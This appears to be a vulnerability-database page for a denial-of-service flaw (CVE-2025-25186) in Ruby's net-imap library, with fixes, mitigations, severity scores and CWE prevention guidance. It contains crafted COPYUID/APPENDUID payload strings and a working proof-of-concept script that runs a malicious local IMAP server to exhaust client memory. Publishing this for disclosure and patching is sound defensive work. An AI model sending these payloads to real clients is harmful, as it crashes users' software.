GHSA-7fc5-f82f-cx69 CVE-2025-25186
Possible DoS by memory exhaustion in net-imap
- Severity
- 0.0 / 10
- Medium · CVSS 4.0
- Exploit chance (EPSS)
- 0.63%
- Chance of exploitation in the next 30 days. Higher than 50.02% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-1287 Improper Validation of Specified Type of Input
- CWE-400 Uncontrolled Resource Consumption
- CWE-405 Asymmetric Resource Consumption (Amplification)
- CWE-409 Improper Handling of Highly Compressed Data (Data Amplification)
- CWE-770 Allocation of Resources Without Limits or Throttling
- CWE-789 Memory Allocation with Excessive Size Value
- Fix
0.3.8- Upgrade net-imap to this version or later
Description
Summary
There is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#to_a to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges.
Details
IMAP's uid-set and sequence-set formats can compress ranges of numbers, for example: "1,2,3,4,5" and "1:5" both represent the same set. When Net::IMAP::ResponseParser receives APPENDUID or COPYUID response codes, it expands each uid-set into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted APPENDUID or COPYUID responses with very large uid-set ranges.
The Net::IMAP client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the APPENDUID or COPYUID responses.
Malicious inputs:
# 40 bytes expands to ~1.6GB:
"* OK [COPYUID 1 1:99999999 1:99999999]\r\n"
# Worst *valid* input scenario (using uint32 max),
# 44 bytes expands to 64GiB:
"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"
# Numbers must be non-zero uint32, but this isn't validated. Arrays larger than
# UINT32_MAX can be created. For example, the following would theoretically
# expand to almost 800 exabytes:
"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"
Simple way to test this:
require "net/imap"
def test(size)
input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n"
parser = Net::IMAP::ResponseParser.new
parser.parse input
end
test(99_999_999)
Fixes
Preferred Fix, minor API changes
Upgrade to v0.4.19, v0.5.6, or higher, and configure:
# globally
Net::IMAP.config.parser_use_deprecated_uidplus_data = false
# per-client
imap = Net::IMAP.new(hostname, ssl: true,
parser_use_deprecated_uidplus_data: false)
imap.config.parser_use_deprecated_uidplus_data = false
This replaces UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.
For v0.3.8, this option is not available.
For v0.4.19, the default value is true.
For v0.5.6, the default value is :up_to_max_size.
For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).
Mitigation, backward compatible API
Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.
For backward compatibility, uid-set can still be expanded into an array, but a maximum limit will be applied.
Assign config.parser_max_deprecated_uidplus_data_size to set the maximum UIDPlusData UID set size.
When config.parser_use_deprecated_uidplus_data == true, larger sets will raise Net::IMAP::ResponseParseError.
When config.parser_use_deprecated_uidplus_data == :up_to_max_size, larger sets will use AppendUIDData or CopyUIDData.
For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise Net::IMAP::ResponseParseError.
For v0.4.19, the limit defaults to 1000.
For v0.5.6, the limit defaults to 100.
For v0.6.0, the limit will be ignored (UIDPlusData will be removed from v0.6).
Please Note: unhandled responses
If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:
limit = 1000
imap.add_response_handler do |resp|
next unless resp.respond_to?(:name) && resp.respond_to?(:data)
name = resp.name
code = resp.data.code&.name if resp.data.respond_to?(:code)
if Net::IMAP::VERSION > "0.4.0"
imap.responses(name) { _1.slice!(0...-limit) }
imap.responses(code) { _1.slice!(0...-limit) }
else
imap.responses(name).slice!(0...-limit)
imap.responses(code).slice!(0...-limit)
end
end
Proof of concept
Save the following to a ruby file (e.g: poc.rb) and make it executable:
#!/usr/bin/env ruby
require 'socket'
require 'net/imap'
if !defined?(Net::IMAP.config)
puts "Net::IMAP.config is not available"
elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)
puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"
else
Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size
puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"
end
size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)
def server_addr
Addrinfo.tcp("localhost", 0).ip_address
end
def create_tcp_server
TCPServer.new(server_addr, 0)
end
def start_server
th = Thread.new do
yield
end
sleep 0.1 until th.stop?
end
def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")
"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"
end
def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")
"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"
end
server = create_tcp_server
port = server.addr[1]
puts "Server started on port #{port}"
# server
start_server do
sock = server.accept
begin
sock.print "* OK test server\r\n"
cmd = sock.gets("\r\n", chomp: true)
tag = cmd.match(/\A(\w+) /)[1]
puts "Received: #{cmd}"
malicious_response = appenduid_response(size:)
puts "Sending: #{malicious_response.chomp}"
sock.print malicious_response
malicious_response = copyuid_response(size:)
puts "Sending: #{malicious_response.chomp}"
sock.print malicious_response
sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n"
sock.print "#{tag} OK CAPABILITY completed\r\n"
cmd = sock.gets("\r\n", chomp: true)
tag = cmd.match(/\A(\w+) /)[1]
puts "Received: #{cmd}"
sock.print "* BYE If you made it this far, you passed the test!\r\n"
sock.print "#{tag} OK LOGOUT completed\r\n"
rescue Exception => ex
puts "Error in server: #{ex.message} (#{ex.class})"
ensure
sock.close
server.close
end
end
# client
begin
puts "Client connecting,.."
imap = Net::IMAP.new(server_addr, port: port)
puts "Received capabilities: #{imap.capability}"
pp responses: imap.responses
imap.logout
rescue Exception => ex
puts "Error in client: #{ex.message} (#{ex.class})"
puts ex.full_message
ensure
imap.disconnect if imap
end
Use ulimit to limit the process's virtual memory. The following example limits virtual memory to 1GB:
$ ( ulimit -v 1000000 && exec ./poc.rb )
Server started on port 34291
Client connecting,..
Received: RUBY0001 CAPABILITY
Sending: * OK [APPENDUID 1 1:4294967295] too large?
Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?
Error in server: Connection reset by peer @ io_fillbuf - fd:9 (Errno::ECONNRESET)
Error in client: failed to allocate memory (NoMemoryError)
/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)
from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'
from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'
from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'
from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'
from /workspace/poc.rb:70:in '<main>'
Affected versions
RubyGems
| Package | Vulnerable | Fixed in |
|---|---|---|
| net-imap | >= 0.3.2, < 0.3.8 |
0.3.8 |
| net-imap | >= 0.4.0, < 0.4.19 |
0.4.19 |
| net-imap | >= 0.5.0, < 0.5.6 |
0.5.6 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
net-imap RubyGems → 0.3.8
- bundler
bundle update net-imap # Gemfile: gem "net-imap", ">= 0.3.8"
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- Present
- Privileges required
- None
- User interaction
- Passive
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-1287: Improper Validation of Specified Type of Input
The product receives input that is expected to be of a certain type, but it does not validate or incorrectly validates that the input is actually of the expected type.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
CWE-400: Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource.
How to prevent it
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Implementation: Ensure that all failures in resource allocation place the system into a safe posture.
CWE-405: Asymmetric Resource Consumption (Amplification)
The product does not properly control situations in which an adversary can cause the product to consume or produce excessive resources without requiring the adversary to invest equivalent work or otherwise prove authorization, i.e., the adversary's influence is "asymmetric."
How to prevent it
- Architecture and Design: An application must make resources available to a client commensurate with the client's access level.
- Architecture and Design: An application must, at all times, keep track of allocated resources and meter their usage appropriately.
- System Configuration: Consider disabling resource-intensive algorithms on the server side, such as Diffie-Hellman key exchange.
CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.
CWE-770: Allocation of Resources Without Limits or Throttling
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
How to prevent it
- Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
- Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
- Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CWE-789: Memory Allocation with Excessive Size Value
The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.
How to prevent it
- Implementation, Architecture and Design: Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.
- Operation: Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.
References
Advisories
Packages
Other links
- github.com/ruby/net-imap/security/advisories/GHSA-7fc5-f82f-cx69
- github.com/ruby/net-imap/commit/70e3ddd071a94e450b3238570af482c296380b35
- github.com/ruby/net-imap/commit/c8c5a643739d2669f0c9a6bb9770d0c045fd74a3
- github.com/ruby/net-imap/commit/cb92191b1ddce2d978d01b56a0883b6ecf0b1022
- github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2025-25186.yml
- ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html
- ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html
- ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-46q3-7gv7-qmgg Net::IMAP: Command Injection via ID command argument | Medium | Also affects net-imap |
| GHSA-c4fp-cxrr-mj66 Net::IMAP: Denial of Service via incomplete raw argument validation | Low | Also affects net-imap |
| GHSA-8p34-64r3-mwg8 Net::IMAP: Command Injection via non-synchronizing literal in "raw" argument | Medium | Also affects net-imap |
| GHSA-hm49-wcqc-g2xg net-imap vulnerable to command Injection via "raw" arguments to multiple commands | Critical | Also affects net-imap |
| GHSA-75xq-5h9v-w6px net-imap vulnerable to command Injection via unvalidated Symbol inputs | Medium | Also affects net-imap |
| GHSA-87pf-fpwv-p7m7 net-imap vulnerable to denial of service via high iteration count for `SCRAM-*` authentication | Medium | Also affects net-imap |
| GHSA-q2mw-fvj9-vvcw net-imap has quadratic complexity when reading response literals | High | Also affects net-imap |
| GHSA-vcgp-9326-pqcp net-imap vulnerable to STARTTLS stripping via invalid response timing | High | Also affects net-imap |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor